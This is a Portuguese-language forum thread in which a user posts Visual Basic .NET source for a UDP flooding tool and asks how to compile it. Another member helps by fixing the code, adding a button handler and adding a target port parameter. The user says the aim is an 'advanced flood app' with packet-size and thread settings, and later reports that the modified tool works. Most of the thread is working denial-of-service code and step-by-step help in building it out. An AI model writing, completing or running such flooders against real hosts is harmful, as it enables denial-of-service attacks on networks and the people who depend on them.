Jump to content
Tatia

Ajuda - Criar UDP Flood

Recommended Posts

Tatia

Boas amigos, achei um src na net mas não estou a perceber como compilar o mesmo se alguém poder dar uma ajuda agradeço, vou deixar em baixo todo o código...

This is a UDP-flooding script that I ported myself from an old PHP shell to Visual Basic .NET. The example program has the Excision Theme by ๖ۣۜMephobia @ HF.

hoxgYQt.png

Imports System.Text
Imports System.Net.Sockets
Imports System.Net

Public Class UDP

Private Delegate Sub Send(ByVal IP As String, ByVal Port As Integer, ByVal Data As String)
Private S As New Send(AddressOf _S)
Private Client As New UdpClient

Public Flooding As Boolean = False

Public Sub Flood(ByVal IP As String, ByVal Time As Date)
If Flooding = False Then Flooding = True
Dim RandomData As String = String.Empty
Dim I As Integer = 0
Do Until I > 65000
RandomData &= "X"
I += 1
Loop
Do
If Now > Time Then
Flooding = False
Exit Sub
End If
Randomize()
S = New Send(AddressOf _S)
S(IP, CInt(Math.Ceiling(Rnd() * 65000)), RandomData)
Loop
End Sub

Private Sub _S(ByVal IP As String, ByVal Port As Integer, ByVal Data As String)
Client = New Net.Sockets.UdpClient
Client.Connect(IPAddress.Parse(IP), Port)
Client.Send(Encoding.ASCII.GetBytes(Data), Encoding.ASCII.GetBytes(Data).Length)
Client.Close()
Client = Nothing
End Sub

End Class

Usage example Wrote:

Dim UDP As New UDP
UDP.Flood("127.0.0.1", Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds

Bom eu ja criei as text box o botao e coloquei o primeiro codigo dentro de uma class o que fica a faltar fazer?

Edited by Tatia

Share this post


Link to post
Share on other sites
nelsonr

Boas,

e que problema estás a ter a compilar?

O unico problema que me parece ai é a linha

Client = New Net.Sockets.UdpClient

Como já está a importar lá em cima, basta ter isto

Client = New UdpClient

  • Vote 1

Share this post


Link to post
Share on other sites
Tatia

Não consigo de maneira nenhuma fazer isto trabalhar...

Alguém poderia criar isto e me passar o src pronto a compilar?

Não estou a perceber como ele esta a interagir com o botão.

Edited by Tatia

Share this post


Link to post
Share on other sites
nelsonr

Esse exemplo não está a interagir com nenhum botao.

Tens de adicionar o evento do botão, exemplo:

Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim UDP As New UDP
UDP.Flood("127.0.0.1", Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds
End Sub

  • Vote 1

Share this post


Link to post
Share on other sites
Tatia

Ok vou tentar novamente mas acho que ja fiz isso anteriormente...

O meu objectivo e criar um app flood avançado se assim se poder chamar, e estou a tentar perceber como isto funciona.

este sera o visual que pretendo e as suas funções.

tatia%20sample.png

Link aqui: Clica Aqui

Não tenho código nenhum nele apenas tem o visual que pretendo se alguém quiser dar uma força eu agradeço.

Tem um programa que faz isso tudo menos parar automático ao fim de um tempo, o nome e UDP Unicorn não sei se conheces e algo desse género que eu pretendo mas com a opção de parar ao fim de um tempo defendo pelo utilizador.

ja ando a 5 dias a tentar perceber isto mas ate agora nada de resultados positivos. :(

Edited by Tatia

Share this post


Link to post
Share on other sites
Tatia

Alguém sabe como posso definir uma text.box com a PORT, utilizando o código acima.

Edited by Tatia

Share this post


Link to post
Share on other sites
nelsonr

Arrastas o controlo da textbox para o form...

Alteras o texto para o valor inicial (ex: 80)

  • Vote 1

Share this post


Link to post
Share on other sites
Tatia

Mas em que parte do código vou declarar essa textbox?

Esse codigo ja esta a usar uma porta variada e eu quero que ele use a porta que eu coloco na textbox2 por exemplo.

Acho que vou desistir desse código não o consigo perceber.

Vou tentar achar outro exemplo e adaptar.

Edited by Tatia

Share this post


Link to post
Share on other sites
nelsonr

Ok, podes fazer estas alterações:

Onde tens:

Public Sub Flood(ByVal IP As String, ByVal Time As Date)

alteras para

Public Sub Flood(ByVal IP As String, ByVal Port As Integer, ByVal Time As Date)

Onde tens

S(IP, CInt(Math.Ceiling(Rnd() * 65000)), RandomData)

alteras para

S(IP, Port, RandomData)

E ao chamar a função, passas a porta

Alteras de

UDP.Flood("127.0.0.1", Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds

para

UDP.Flood("127.0.0.1", Convert.toInt32(txtPort.Text), Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds

Em que o txtPort é o campo de texto onde defindes a porta a usar

  • Vote 1

Share this post


Link to post
Share on other sites
Tatia

nem sei como te agradecer, vou agora mesmo testar.

Muito obrigado.

Edite: Deu certo.

Ja agora se não for estar a pedir demais como posso eu deferir as seguintes opções.

Packet Size: Valor em kb

Threads:

Acho que seria aqui a editar mas nao sei como fazer.

Public Sub Flood(ByVal IP As String, ByVal Port As Integer, ByVal Time As Date)
		If Flooding = False Then Flooding = True
		Dim RandomData As String = String.Empty
		Dim I As Integer = 0
		Do Until I > 65000
			RandomData &= "X"
			I += 1
		Loop

Em outro código que vi na net eles usavam algo assim:

Dim Packet As Byte() = New Byte(Textbox1.Text) {}
Dim SockNum As Integer = Textbox2.Text 

Edited by Tatia

Share this post


Link to post
Share on other sites
Tatia

Antes demais peço desculpa por estar a postar 2 vezes seguidas, mas achei necessário para esta situação.

O código em si já modifiquei e já consegui os meus objectivos.

Agora estou a querer colocar o gráfico das ligações de rede do Windows no próprio programa mas nem sei por onde começar, vou deixar 2 exemplos abaixo.

1 Exemplo:

Tenho de abrir o meu projecto.

Tenho de abrir o gestor de tarefas e ir a aba de ligações de rede.

Exemplo-1-P-a-P.png

O que eu pretendo seria algo assim.

2 Exemplo: (Pretendido)

Abrir o meu projecto apenas.

Exemplo-2-P-a-P.png

Edited by Tatia

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×
×
  • Create New...

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.